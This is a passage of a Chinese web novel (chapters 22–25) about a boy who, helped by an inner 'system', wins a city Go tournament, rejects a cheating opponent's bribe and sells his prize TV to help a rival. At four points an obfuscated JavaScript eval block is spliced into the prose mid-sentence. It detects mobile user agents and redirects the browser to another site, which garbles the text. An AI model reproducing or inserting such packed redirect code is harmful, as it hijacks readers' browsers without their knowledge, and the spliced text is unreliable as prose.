汤小贝在最后一刻红了眼眶,她无法接受自己耗费这么长时间都没下过40目。 她受到了不可磨灭的打击,然后一张嘴就哭了,“好难啊,怎么会这么难,我再也不要下围棋了!” 纪辰新不知道怎么安慰她,只能给她递去一张纸巾。 汤小贝没接,最后狠狠瞪了纪辰新一眼就走了。 纪辰新感到非常莫名:??? 系统看热闹不嫌事大:【你伤害了小女孩幼小的心灵。】 纪辰新不背锅,【是我吗,我可是按照你的提示下的!】 这时,突然有人用手点了点他的肩,胡浪站在他身后,紧张地递过来一杯水,“纪辰新,你渴不渴?” 纪辰新被他吓一跳,“你干嘛?” 胡浪理不直气不壮地看着他,扭捏道,“纪辰新,我进入8强了,你喝水。” 纪辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16074314|179311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新终于正眼看他,这小子居然挺到了8强,说明是有点实力在身上的。 “我不喝,你拿开。” 胡浪没动,他就站在原地,像是绞尽脑汁想到了什么,“马上就吃午饭了,一起去吗?” 纪辰新不明白他为什么会有这种想法,难道救他一次,俩人的关系就突飞猛进变好了? * 赛场的伙食还不错,纪辰新看着盘子里的鸡腿、肉和蛋,肚子饿的直叫唤。 正当他狼吞虎咽时,胡浪默默坐到了他的对面,然后轻轻将自己盘里唯一的一个鸡腿夹到了纪辰新盘里。 他明明自己也很馋,却抿着唇不露出一点情绪,“纪辰新,你吃。” 纪辰新霎时皱眉,他将鸡腿顺势夹回去,哪知胡浪端着盘子就跑了,一边跑还一边回头看他,生怕他追上来。 “......” 实在不知该说什么了,纪辰新最终无可奈何地吃了两个腿。 系统:【宿主,我猜你原谅他了。】 纪辰新嘴硬,【哪有,顶多不怪罪他了,小孩子总有犯错的时候,知错能改就证明人不差。】 系统:【还说你没原谅他,都这么为他说话了。】 他撇撇嘴,【随你怎么想喽。】 中午有1个半小时的休息时间,纪辰新吃完饭后,却怎么也睡不着了,因为他上午已经睡过了。 所以,他出了休息室,兜兜转转,来到了那个报名积分赛的红房子前。 仔细听的话,是能听到里面有人在说话的。 现在是午休时间,所以周围十分安静,工作人员也都不在。 所以,纪辰新很清楚就听出了是谁在里面。 声音还算熟悉,正是黎上金和胡浪。 胡浪打着包票道,“阿金,如果我拿到第三名,800奖金全给你,反正我也没什么用。” 另一个声音,也就是黎上金,拒绝他,“不用,我会凭自己本事进入省半决赛,我记得省半决赛也有两百的安慰奖。” “那才多少,而且能不能走到那还不一定呢。” “总之,你先别急着拒绝我,你想想你奶奶的手,还治不治了?”胡浪语重心长。 他很想帮阿金,甚至还偷过家里的钱接济阿金,但始终是杯水车薪,后来还被爸妈发现了,平时宠爱他的父母,那日破天荒打了他,说他不学好,净与小混混处一块儿,居然学会了偷窃。 他们一口咬定是阿金带坏他的,要去找他麻烦,后来还是他再三保证并将钱还了回去,发誓以后再也不与阿金来往,才免去了这一遭。 胡浪:“我的棋都是你教的,若是真拿到第三,也是你的功劳。” 黎上金心下感动,知道胡浪的性子,一时无法改变他的想法,于是转移话题道,“听说今天上午,你低血糖犯了是纪辰新救的你?” 说到这个,胡浪神色不太自然,“嗯。” 黎上金笑了笑,“看来他人还不错,能不计前嫌救你,但你的脾气以后还是要改改,太容易冲动了。”黎上金非常了解他,找到机会就要劝谏一番。 “其实,我还蛮担心下午你与他碰上的,他很强,就连我都不是他的对手。” 黎上金客观分析,眯了眯眼似在回忆,“任何的想法在他面前都将无处遁形,总之别碰上最好。” 胡浪笑的坦然,“他真这么厉害?但碰不碰上也不是我们能决定的。” “不过,我承认你说的,他确实是一个好人。” 说这话时,他目光晶莹,语态轻盈。 纪辰新偷听到这,深邃的瞳孔里幽幽泛着波光,他被夸爽了! 系统:【怎么感觉,这个胡浪要成为你的小迷弟了。】 纪辰新臭屁地扬了扬下巴,沉浸到自己的魅力中,【唉,理解,人之常情嘛!】 系统:【......】 23.第 23 章 下午的比赛从一点半开始,这次的匹配方式有了变化,从8强开始改用选手自己抽签的方式进行匹配。 开场前,裁判就让大家依照编号的先后顺序上来抽了签。 纪辰新是第一个上去抽签的,编号在他前面的选手已经全被淘汰完了。 纸箱子就摆在主裁判面前,每个人上去只能在里面抓取一张纸条。 胡浪目光灼灼地紧盯着纪辰新的背影,内心的复杂心思有些难言。 系统试探:【宿主,你这次还想抽中胡浪吗?】 纪辰新的手在箱子里犹疑了一瞬,【这不是我想不想的问题,一切看命运的安排。】 说罢,他陡然从箱子里拿出一张纸条,看都没看一眼,直接交给了主裁判。 主裁判将纸条摊开,随即目光威严地扫视众人,“43号。” “7号纪辰新对43号刘弯!” 听到编号的那刻,胡浪由衷的松了口气,霎时间他感觉呼吸都顺畅了。 “已匹配完成的选手,请依次入座。” 工作人员带着纪辰新来到了离主裁判最近的棋盘桌。 突然,听到有人举手道,“请问,可以自己选座位吗?” 说话人正是刘弯,他指着自己面前的位置,“我跟这个位置有缘,想继续坐这。” 这个要求其实无伤大雅,工作人员只要稍作调整就可以满足他的要求。 刘弯祈求,“拜托拜托了,我坐这连赢了几把,我这个人比较信玄学。” 12岁的刘弯戴着个眼镜,显得比周围的其他选手成熟感较重点。 即便他有此要求,工作人员还是先问了纪辰新的意见,“7号,你的想法呢?你可以拒绝。” 刘弯转而用希冀的目光看向纪辰新。 系统:【玄学乃无稽之谈,他今天就是坐佛主腿上,也得输!】 纪辰新因系统这一发言,差点笑喷了,不过他忍住了,“我没意见,坐哪都行。” 如此,工作人员便不再说什么,纪辰新也去到了刘弯所在的桌子。 十分钟后,所有人都已准备就绪,对局就此开始。 刘弯的棋艺较为一般,他开局便是下棋的固定套路,官子漏洞不少,计算上也偶尔出错,尤其是面对突袭时,显然有些慌神,甚至手忙脚乱。 这些,就连纪辰新这个半吊子都看出来了。 纪辰新不由就没了耐心,【他的水平差黎上金远了,也不知道他是怎么留到现在的。】 系统:【比赛有时候也看运气,他运气好所以遇到的对手都不强劲,而黎上金棋艺不错结果第二轮就遇到你,这都没法说的。】 纪辰新挑了挑眉,【照你这么说,那刘弯信玄学还是有点道理罗?】 “那个...我渴了,想喝点水再下!”刘弯倏然看向他。 每个人的水瓶都放在了脚边,想喝就喝,纪辰新随他。 只见他弯腰拿水,咕噜咕噜大口喝着,一气呵成。 纪辰新以为他喝完水就会落子了,哪知他又举手,“裁判,我尿急,想去趟厕所。” 裁判点头示意,便安排了一个工作人员与他同去。 纪辰新百无聊赖地坐在位置上,手无意识地把玩着手腕上的珠子。 系统:【这局棋总共还没下30目,他事也太多了。】 纪辰新无所谓,【反正他浪费的是他自己的时间,他要是不怕超时输掉比赛,再事多也会乖乖回来的。】 这话说的不假,没几分钟,刘弯便屁颠屁颠回来了。 这次他看起来状态好多了,一连下了好几子,都是沉稳应对。 只是,没多久他小动作又多了起来,一会儿这挠挠,一会儿那挠挠,就像屁股下面坐了榴莲一样,根本安不下心来。 “那个...我肚子有点不舒服,请问可以帮我到休息室,一个蓝色的双肩包里拿一下止疼药吗?拜托了。”终于,刘弯又开口提要求了,他脸色苍白的看着面前的巡回裁判。 裁判看他状态不似作伪,便点头,“你稍等。” 在裁判安排人接位时,纪辰新麻了,全程没下几个子,一直在看对面刺挠。 于是,在纪辰新再次哈欠连天的功夫,局面却悄然发生了变化。 刘弯捂着肚子,冷汗涔涔地看他,“到你了。” 纪辰新手中捏着黑子,在即将落子时,猛然蹙眉,【系统,不对啊,我记得....十九之三...明明...】 系统的机械音冷冽至极:【宿主,咱们遇到赖皮了。】 【刘弯不仅调换了你的棋子,而且还将自己被围困的棋子移了位。】 纪辰新简直是大开眼界,【他这算违规了吧。】 系统:【当然,这局没必要再下下去了。】 “裁...”纪辰新目光顿时幽冷,刚要举报,只见对面的刘弯连忙打断他,轻声道,“纪辰新,我给你一千块!” 纪辰新愣住了,“所以呢?” 刘弯坐的这个位置远离主裁判的视线,巡回裁判又被他支走,接替的人还没赶过来,他这作起弊来简直神不知鬼不觉,就连纪辰新都不知道他什么时候动的手脚。 再看他的位置,背对着监控的,估计刚刚换子都没被拍到。 难怪啊!难怪他执意要坐这,看来是蓄谋已久。 “你让我赢,一千块钱就归你了。”刘弯开出了天价,要知道第三名也才八百块。 纪辰新实在想不通他为何要如此,但这不重要,他必须要拿到市赛前两名,然后进入省赛。 “不用。”纪辰新严词拒绝。 “你想要多少?”刘弯再次阻挠,“我可以给你加钱。” 纪辰新心里不由叹气,刘弯若是遇到的是黎上金该多好,正好黎上金需要钱,刘弯想要晋级。 系统:【宿主,你的想法很危险,故意输棋或是下假棋是违反比赛规则的。】 纪辰新下意识反骨:【那照你这么说,我不也是?我一个不懂围棋的人,一次次靠你晋级是否也违反比赛规则?】 系统沉默了好一会儿才道,【你怎么会这么想,我是你的系统,我们本就为一体,不算!】 这时,接替裁判的人过来了,纪辰新正准备举手说什么,刘弯便笑着提醒道,“纪选手,轮到你下了。” 纪辰新陡然与他对视,瞬间意识到不对劲,一低头,棋局居然复原了....? 系统:【看来他很懂得审时度势,还很聪明,看出你不愿接受,便恢复了棋局,这样即便输了,也不会因此被判作弊而取消比赛资格。】 【若没猜错的话,他应该会继续参加积分赛。】 刘弯完全不给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16091452|179311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪辰新说话的机会,轻推两颗棋子至右下角,“我认输。” 他以退为进,率先认输。 裁判纪实记录,“8进4,7号纪辰新胜。” 刘弯礼貌地朝他敬礼,纪辰新僵直着背根本不想回应他任何礼仪。 “或许,我们还能在省赛中遇见。”刘弯临走前,语气中并没有被淘汰的郁闷。 纪辰新不难想象他一路走过来,用了多少肮脏手段,而后天的积分赛,他是否又会用同样的手段让其他参赛选手输给他呢? 系统:【你小看他了,积分赛报名的选手都是公开的,他为什么要等到后天,他今晚或明天收买好就行了呀!】 【不出意外的话,黎上金会被收买成功,然后当场被裁判发现打假赛,最后他自觉地将一切揽在了自己身上,因为刘弯答应给他一千五的报酬,至此,黎上金被取消比赛资格,并遏令禁止参赛三年,而刘弯以受害者的身份成功晋级下一轮。】 纪辰新蹙眉:【你怎么知道?】 【刚搜到的,原书里,黎上金因一千五的报酬故意输给刘弯,被发现后,被取消了比赛资格,并禁赛三年,结果三年后国家出新规,凡曾打假赛者,施以严惩,永久禁赛。】 【这次俩人双双被你淘汰出局,必会在积分赛碰上,所以剧情不可避免会这样发展。】 罕见的,纪辰新感受到自己的心态受到了一丝影响。 他好像第一次理解到了不尊重围棋的人到底有多可恨,他讨厌刘弯眼中的不屑,更厌恶他用金钱交易输赢的行为。 他不知道他一个人的恶劣行径会直接毁掉了另一个人的人生。 不,他是知道的,但他还是这么做了,甚至最后也没站出来澄清这一切! 纪辰新突然明白了当初苏陌对他说的那些话,不尊重围棋的人根本就不配下棋。 因为不尊重围棋,所以也不会尊重对手。 刘弯就是这样的一个人,他靠下假棋直攀高峰,他亵渎了围棋,亵渎了真正的棋手,他是棋手中的败类! 此刻,纪辰新终于意识到围棋对于他到底是不一样了。 它是神圣的,是不可侵犯的。 他看不得任何人在他面前亵渎围棋。 即便是他自己。 对,即便是他自己也不能! 之前他问系统的那句话,其实暗地里,多多少少存着对自己行为的不认同的。 即便系统说他们本就为一体,不算违规,但他自己清楚的知道不是的。 他纪辰新就只是纪辰新,系统所馈赠给他的棋艺并不属于他。 走到现在,他不由扪心自问,自己是光明磊落的吗? 他于刘弯好像没有多大的不同! 只有公平竞技,才是对围棋最大的尊重! 如果不想成为连自己都瞧不起的人,那么从今以后就应该下自己的棋,而不是依附于系统,变成一个傀儡! 系统没想到宿主竟突然有了这样的感悟,它的喜悦之情难以言表。 【宿主,只要是你所想,我都会帮你。你放心,我将会搜罗所有围棋方面的知识供你参考和学习,你天赋很好,相信用不了几年的时间,你一定会成为一个厉害的棋手,然后下出你自己的棋!】 纪辰新低垂着眉眼,语气中带着一丝迷茫和迟疑,【会吗?】 24.第 24 章 下午两点半左右,市四强已经诞生。 胡浪拼命压抑自己的内心的激动,但脸上的雀跃还是不小心表漏了出来,只要再前进一名他就能夺得第三名了。 他没想到自己能走到现在,总而言之,今天运气还不错。 主裁判宣读着最后一轮的比赛规则,“淘汰赛,分为两组进行比赛,获胜的俩人进入决赛,失利的俩人争夺第三名,共计四场比赛。” 最后的抽签环节,由编号靠后的抽取,而胡浪是45号,编号在四人里最靠后,他便成了第一个抽签的。 主裁判:“45号,上来抽签。” 胡浪深吸了一口气,然后双手合十,嘴里念念有词,“希望好运再偏爱我一次,不要抽到纪辰新,不要抽到纪辰新.....” 很显然,黎上金的劝告他听进去了,他的围棋是黎上金教的,既然黎上金都输了,他就更没把握赢了。 然而,命运似乎给他开了一个很大的玩笑,在他离成功最近时给了他沉痛一击。 胡浪看着自己亲手抽中的纸条在主裁判手中摊开,下一秒一个大大的7出现在了视线里,那一刻,他知道自己完了.... 主裁判:“45号胡浪对7号纪辰新。” “两位选手可以去准备了。” 胡浪脑子一片空白,也许是受的打击太大,愣在原地好一会都没动。 纪辰新一时之间也没移步,他低垂着眼眸不知在下想什么。 系统:【宿主?】 【宿主,你千万不要意气用事,我知道你已经决定以后堂堂正正下棋了,但我们暂时不能更改计划,这次的比赛关系重大,你必须拿到省第一,得到围棋业务五段的证书,以后定段赛需要.....】 纪辰新抬眸,神色平静,【我都知道,你放心,我不会乱逞强,我刚刚只是在想晚上吃什么罢了。】 系统直接卡壳了,【......】那些劝谏的话,一个字一个字咽了回去。 纪辰新眸光清澈,【安啦!我会通过市赛,拿到省第一,我毕竟还欠赵信两千块钱呢,我没忘。】 系统欣慰,【那就好,主要我怕你心里有负担。】 【那你想多了,我这么铁石心肠的人怎么可能心里有负担。】纪辰新浅笑晏晏。 工作人员催促,“两位选手,快就座。” 纪辰新抬眼望过去,就瞅见胡浪哭丧着一张脸,不由想要调侃两句,“要不你直接认输吧,这样就可以直接跟另一个人抢第三名了。” 这话怎么听着怪怪的? 怎么听,怎么都像是挑衅和赛前放狠话.... 一旁的工作人员以为俩人又要互骂斗嘴了,然而胡浪现在对纪辰新的滤镜有点深,他没听出什么问题,反而真诚道,“你也觉得我该直接认输?那我去问问裁判可不可以。” 纪辰新:“.....” 他无语,瞅他,指了指头,“你是不是脑子....啊?” 省略号里包含了太多,骂挺脏的,但胡浪却真听进去了。 “你站住!”纪辰新深吸一口气,将他喊了回来,“你怎么听不懂好赖话了?” 胡浪不明白,“啊?什么?” 纪辰新看他这懵逼的无辜样,再想调侃此刻也没辙了。 系统桀桀桀桀....笑着,活像一个反派。 【够了,你不是人,不要什么都学OK?】纪辰新简直无法形容突然听到这个笑声的通透感。 系统委屈闭嘴,【噢!】 对决到底是开始了,纪辰新全程只想速战速决。 对面的胡浪汗水很快浸透了前胸后背,一直都在小心应对。 才下十分钟左右,他就感受到了强大的压力,他终于明白黎上金为何如何担忧了。 系统一边应对胡浪,一边给纪辰新讲解棋局。 【喏,这叫打吃,黑棋在左下处,白子被围在其中,只剩一口气。】 【至于双打吃,你可以看右上,黑棋下在邻角处,中间余的两个交叉点,白棋也只剩一口气。】 胡浪根本不知道对面的人正在拿他做实战教学,而且还是非常基础的教学。 纪辰新一副领悟到的点了下头,然而他这个样子,看在对面胡浪的眼中就好像在设计什么圈套似的。 胡浪越下越心惊,他之前是有注意过纪辰新下棋时的状态的,他在跟其他人下的时候经常都悠然自得甚至心不在焉。 可为什么跟自己下时要这么目不转睛,全神贯注? 难道是自己的棋艺难到他了?虽然有些异想天开了,但他还是觉出了一丝不同的意味。 或许,纪辰新很看重他吧! 不然....这无法解释! 一想到,自己的救命恩人对自己如此重视,胡浪心中莫名感动,即便今天输在他手底下,好像也不是什么丢脸的事。 毕竟纪辰新那么厉害,心肠还那么好,简直是他要学习的楷模典范! 纪辰新不知道对面脑补了什么,他从系统那了解了一大串知识,正在慢慢消化。 【围棋还真是一门越学越有的学科。】 系统:【那当然啦,怎么样,宿主你现在是不是有点喜欢上围棋了?】 喜欢?纪辰新呢喃着这两个字,他也不知道喜不喜欢,不过不管喜不喜欢,都不会改变围棋在他心中不能亵渎的地位。 胡浪努力撑到了中盘,最后还是认了输,这局棋下的他绞尽脑汁,认输那刻,整个人都放松了。 “阿金说的果然没错,你确实厉害。” 纪辰新淡笑着,“你也不错。” 说罢,他便主动伸出了手,以友好的姿态。 胡浪意识到什么,眼中闪过惊喜,“你愿意原谅我了?” 纪辰新偏了下头,傲娇道,“呵,你觉得呢。” 胡浪嘿嘿笑着,他已经感受到对方释放的善意了。 “纪辰新,我以后能找你学棋吗?” 纪辰新直接梗住,什么? 这已经不是来找他下棋这么简单了,而是来找他学棋?! 37度的嘴是怎么问出这么冰冷的话的? 这无疑是他今年听到过最好笑,也是最无可奈何的笑话。 “不了....不了。”纪辰新连连摆手,心虚拒绝。 他总不能说,大哥,其实我就是个半吊子,我教你,还不如你来教我更的靠谱吧! 胡浪有些失落,“为什么?你觉得我太笨了?” 纪辰新慈爱地看着他,笑容苦涩,“不,你不笨。”是我不会! “那....”胡浪还想再说什么,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16098242|179311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然想起阿金曾经说过的不要强人所难,被拒绝也不要深究,有时候原因可能只是单纯的不想。 所以,纪辰新是不想教他? 胡浪如是想,也是,他对自己原本就观感不好,还硬要凑到人家跟前去,肯定会被讨厌的。 “额...我刚刚开玩笑的,你别往心里去!” 纪辰新闻言,如释重负,“呵呵呵,玩笑很好笑,以后不要再开了。” 胡浪输了,需要与另一位失败者再比一轮,争夺第三的名次。 而纪辰新要与另一位获胜者决出冠亚军。 中场休息的二十分钟里,工作人员给他们准备了点心补充体力。 纪辰新躺在椅子上,嘴里无意识地嚼着面包。 【系统,胡浪会输对吗?】 系统惊讶了,【宿主你怎么推断出来的?】 纪辰新哼了声,【你都说了,原书中,黎上金为了钱与刘弯进行了交易,如果胡浪拿到了第三名,获得了那八百块钱,黎上金就没必要这样铤而走险了。】 他也是中午在红房子外听到俩人的对话才得出这个结论的,既然最终黎上金还是铤而走险了,那就说明胡浪并没得到名次。 系统:【宿主,你想阻止这个悲剧的发生?】 纪辰新摇摇头,【如何阻止?难道我能帮胡浪夺得第三名?】 【又或者,我能劝黎上金不要为了钱,跟刘弯做交易?】 【先不说,他凭什么听我的,就算听了,他需要钱才是最核心的,他要治他奶奶的手....我总不能断人后路吧。】 说到这,纪辰新灵光一闪,【欸,不对,他需要钱治他奶奶的手,这才是核心。】 【如果已经有一笔钱了,是不是就....】 纪辰新发现自己抓住了华点,所以现在要搞清楚黎上金他奶奶的手严不严重,如果不严重的话,估计也要不了多少钱。 系统:【是手部关节中度骨关节炎,以现在的医疗水平最少也要一千五左右。】 一千五? 这....这不就对上了吗! 纪辰新终于知道该怎么做了。 系统好奇的不得了,【宿主,你想到了什么,打算怎么做?】 时间过的很快,两个小时后,系统就知道纪辰新要做什么了。 他不费吹灰之力打败了另一位选手拿下了比赛的胜利,而胡浪就如他们推断的那样,并没有夺得第三名。 六点左右,站在领奖台上的纪辰新,手握奖杯,得到了一台彩电。 随后他在众目睽睽之下,抬头问给他颁奖的主办方,“您好,请问可以帮我把彩电兑换成现金吗?” 主办方是一个大腹便便的地中海,他身着西装,半小时前才赶来,面对如此无礼的要求,他嘴角微抽,甚至觉得贻笑大方。 然而,颁奖的过程有记者在记录,他只能努力保持着标准的笑容,礼貌道,“小朋友,奖品既定,无法兑换噢。” “这样啊,那我等下出去卖掉总可以吧。”纪辰新为自己的机智点赞,笑的无所畏惧。 记者:“看镜头,一定要笑哦,茄子!” 听到纪辰新的话,地中海表情差点没绷住,然而他并没有忘记笑,只是笑容甚是勉强。 “咔嚓”一声,镜头就此定格! 25.第 25 章 从比赛现场出来,纪辰新心情不错,而关于他夺得市第一的消息,记者已经抓紧回去赶稿了,估计明天就会出来。 系统:【所以,宿主你真的打算将彩电卖掉吗?】 刚刚颁奖时那一番问话,已经很显然了,宿主想出来的办法就是拿卖彩电的钱救济黎上金吧。 尽管如此,系统还是为他感到了可惜,【你家都没有电视,这可是彩电,即便卖了补贴自己家用也够好久了。】 纪辰新无所谓道,【我本来就赢的名不副实不是吗,若是这个钱能挽救一个人的人生何乐而不为。】 “纪辰新选手,你家地址是?我们帮你把奖品送回家。”工作人员跟了出来。 “不用了,帮我搬到这附近最近的市场可以吗?”纪辰新知道时间紧迫,后天就是积分赛,得赶在刘弯说服黎上金之前将彩电卖掉。 工作人员很讶异,“啊,你这是...真打算卖?” 之前颁奖,纪辰新问话并未避着众人,所以在场不少人都听到了。 “对,麻烦了。”纪辰新心意已决。 突然,“小朋友,可否将彩电卖与我?”一个头发花白的老爷爷拄着拐杖,从大厅处走了出来。 工作人员看见此人时,立即鞠躬,“袁老好。” 袁老?谁啊? 纪辰新疑惑地看着他,“你要买我的彩电?” 他上下打量对方,这人穿着儒雅,气质不凡,怎么看也不觉得会是缺电视的家庭。 “是,你打算卖多少钱?”袁老笑着道。 纪辰新也在估价,【系统,你说呢?】 系统:【奖励的这台彩电,虽然不是最新款,但最少也要2100左右。】 纪辰新知道了价格,便开口了,【2100。】 他说完有些忐忑,如果对方要讲价,怎么办? 那当然是不卖啦,系统都说了最少2100,总不能做亏本买卖吧。 袁老闻言,眼角的皱纹荡漾了一下,【我若告诉你,工作人员购置这台彩电时,花了两千五,你待如何?】 两千五? 那跟两千一也差不多了,毕竟到他手里,已经转了一手,私卖没那么好卖的。 况且,既报出了价格,再悔也不厚道。 “不如何,就2100,你买不买?”纪辰新神色自然,并无异样。 袁老盯了他一会儿,眼中尽是欣赏,“买,当然买,我还要按原价买。” 说罢,他便看向一旁的工作人员,“从我的账上出。” “我要现金,我没有卡。”纪辰新眸光亮了亮,连忙提醒。 工作人员点头,便去了后台。 袁老杵着拐杖,“坐会儿?” 大厅里是有椅子的,纪辰新看他腿脚不便,便同意了。 坐到椅子上后,袁老从怀里拿了本册子出来,纪辰新只一眼就发现这是他们今天比赛的对局。 每局比赛结束后,会有记谱员将每一局的对局完完整整的记录下来。 而袁老现在看的正是纪辰新今天上午与黎上金的那场对局。 “很精彩,小小年纪棋艺居然有这番造化,小朋友,你师承何人?” 他这问话,问的纪辰新心下一跳,“我....没有师承。” 不想撒谎,也没有必要撒谎,不然需要更多的谎言来圆。 “既如此,你的天赋算很高了。”袁老似是想到什么,“前两年也有一个天赋如此高的小孩。” 纪辰新沉默着,袁老自顾自话道,“想来,如今差不多跟你一般大。” 他感慨完,话锋一转偏头看向纪辰新,“你既没有师承,想不想拜我为师?” “啊?”这是纪辰新没想到的发展,他愣住了。 袁老将他的反应看在眼里,“给你时间考虑,马上就要进入省赛了,不论你到时候夺得什么名次,我这个邀请都不会变。” 工作人员这时拿了个信封过来,“袁老,钱已经准备好了。” 袁老轻点了下头,工作人员便将手里信封交给了纪辰新。 纪辰新呆呆地握着手里的钱,他还沉浸在刚刚这老头说的话里。 【系统,你怎么说?】 系统:【袁仁,一生痴爱围棋,在他四十岁时终于达到职业九段,几年后创立了江洲棋院,他的棋院定段成功率每年都在及格线上,至今已有十多年了。】 【他刚刚提到那另一个天赋高的孩子,就是苏陌,两年前他也询问过苏陌要不要拜他为师,不过苏陌拒绝了。】 纪辰新不由挑了下眉,【为什么拒绝?】 系统:【因为苏陌有师承,他爷爷就是大名鼎鼎的苏瀚阳,第一届国棋院院长,不过现在已经退下来了。】 【袁仁惜才,你又已经决定好好学习围棋,其实是可以拜他为师的,他能教你很多东西。】 纪辰新有自己的担忧,【拜他为师不就暴露了吗,我啥也不会。】 这倒是...一时之间,系统也没有更好的办法。 袁仁用手轻轻在他额头点了下,“想什么呢,不点一下钱?” 纪辰新晃了晃头,这老头...算了,先点钱。 一分钟后,纪辰新满意地将信封揣进兜里。 袁仁从袖子里抽出了一张名片,“把这个收着,有想法了直接联系我。” “对了,江洲棋院是我创办的,有空也可以过来看看。” 纪辰新捏着名片的手有些发烫,因为他可能要辜负这番好意了,“好,谢谢。” 待人离开后,工作人员候在袁仁旁边,问道,“袁老为何买下他的彩电?” 袁仁杵着拐杖,颤巍巍起身,语气舒然,“小朋友急缺钱,就算我不买,他也会卖给别人的,还不如让他早点回家,都下一天棋了,累的慌!” 竟是这样,面对这样的袁老,工作人员不由又尊敬了两分。 纪辰新揣着钱一路走出了大门,【胡浪刚比完没多久,应该是去与黎上金汇合了,红房子又没人,他们能去哪?】 【难道回县城去了?】 系统:【不是没可能,后天才参加积分赛,他们又没多少钱,应该不会在市里住。】 【我知道了,走,我们去汽车站。】纪辰新眼睛一亮,忙不迭地就要赶过去。 然而,没走几步他就被人叫住了。 “纪辰新!”叫住他的人是.... 不远处马路边,赵言权和肖椿拉了个横幅,上面写着“祝纪辰新同学勇夺第一,再创辉煌!” 而苏陌手中抱了束花,离横幅一丈远,沉静里带着冷酷。 纪辰新直接就笑了,他几步跑了过去,“你们怎么都来了。” “还有这...横幅,太扎眼了吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16102508|179311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵信从一旁的车里出来,由衷道,“恭喜。” 他第一时间就得到了纪辰新夺冠的消息,便马不停蹄过来了。 纪辰新淡淡点了下头,他的注意力还在横幅上,“什么时候做的,明明今天早上都还没有。” 赵言权臭屁道:“昨天就定好了,放学才拿到的,怎么样,够不够气势。” 纪辰新笑,“万一我没赢,岂不是白费了。” 倏然,有人扯了下他的手臂,一转头,向日葵夹杂着剑兰的花束便怼到了他眼前。 纪辰新闻着花香,定定抬眼,只见苏陌抿着唇,眼眸明亮,“恭喜夺冠,预祝省赛蝉联。” “谢谢。”纪辰新抱过花束,神色璀璨,这还是他前世今生第一次收到花。 肖椿不甘示弱,“小新恭喜,这把木剑送你,我记得你之前很眼馋来着。” 木剑? 纪辰新愣了一秒,然后看到了一把绝世好剑,虽然是木的,但是很帅,是男人都拒绝不了的那种。 看着像肖椿亲手做的,见他那肉痛的样子,估计一直很宝贝。 见纪辰新没接,他往前送了送,“前两个月,你还找我要,难道你现在不喜欢了?” 前两个月? 那时候,他都还没穿过来。 意识到是原主喜欢的剑,纪辰新心情复杂的收下了,“喜欢,喜欢的。” “咦,你的奖品呢,我记得第一名是台彩电来着。”赵言权眼尖的很,他朝纪辰新身后望去,怎么不见人给你搬彩电?正好让我爸给你拖回去。 !!!纪辰新一时不知该如何开口。 赵言权看着他手里的奖杯,眼睛瞪的老大,不可思议道,“不会吧,改奖品了?今年这么抠?就发个奖杯?” 他越问,纪辰新越难以开口。 一时间,所有人都注视着他,直到最后,他从兜里掏出个信封,嘿嘿笑着,“额....这个事说起来有点复杂,总之,彩电我已经卖掉了。” “钱在这,总共2500百块呢,就说牛不牛吧?” 众人:“.......” 气氛直接凝滞,他们仿佛被震慑到了,纷纷露出了匪夷所思又欲言又止的神情。 “呵..” 苏陌喉间短暂溢出一声极轻的笑,看向纪辰新的眼神,似有无奈,他莫名想起纪辰新前几天要给他当佣人的事,现在看来,把奖品卖了换钱,像是他能做出来的事。 “你是说,你奖品还没到手,赛场都没出,就已经卖了?”赵言权复述时根本不敢睁开眼,希望是自己的错觉。 肖椿也很不理解,“为什么啊?彩电欸,你说卖就卖了?你卖给谁了,是不是有人给你做局,故意坑你的?” 纪辰新不想解释太多,他挠了挠头,“别问了,总之已经卖了。” 赵信心下跳了跳,他不认为纪辰新能被坑,倒是怀疑这小子是为了还那两千块钱才.... “赵叔,麻烦送我去最近的汽车站,我想找个人。”纪辰新突然道。 在这耽误了好一会儿时间了,他怕胡浪和黎上金已经坐上回县城的车,亦或是被刘弯抢了先。 